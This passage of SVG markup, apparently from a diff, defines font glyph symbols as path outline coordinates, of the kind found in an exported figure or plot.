-1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 